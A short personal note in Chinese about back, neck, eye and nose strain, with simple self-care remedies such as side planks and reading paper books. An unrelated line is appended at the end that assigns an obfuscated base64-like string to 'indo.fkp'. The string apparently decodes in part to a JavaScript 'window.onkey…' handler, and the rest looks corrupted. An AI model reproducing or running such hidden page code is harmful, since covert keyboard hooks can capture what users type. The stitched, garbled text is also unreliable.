腰，颈椎，眼睛，鼻子，这今感觉身体的好多部位都出现损伤
不能在上班前把自己弄成废物，还得一点一点的修复身体，一点一点的锻炼身体
腰的话，侧面支撑
眼的话，看纸质书
鼻子要勤洗
扭扭腰，扭扭头
一就过去了
indo.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqNR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthaxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpN01Edks4VFRRhAvS29hnF1UUpNdkhEVlpNmFLqVhNhRkUURiVFY4cmNqjZ4Sy9vYtl4a1hiRjZ6czN3IigmtYzmjI3otEymyk=\";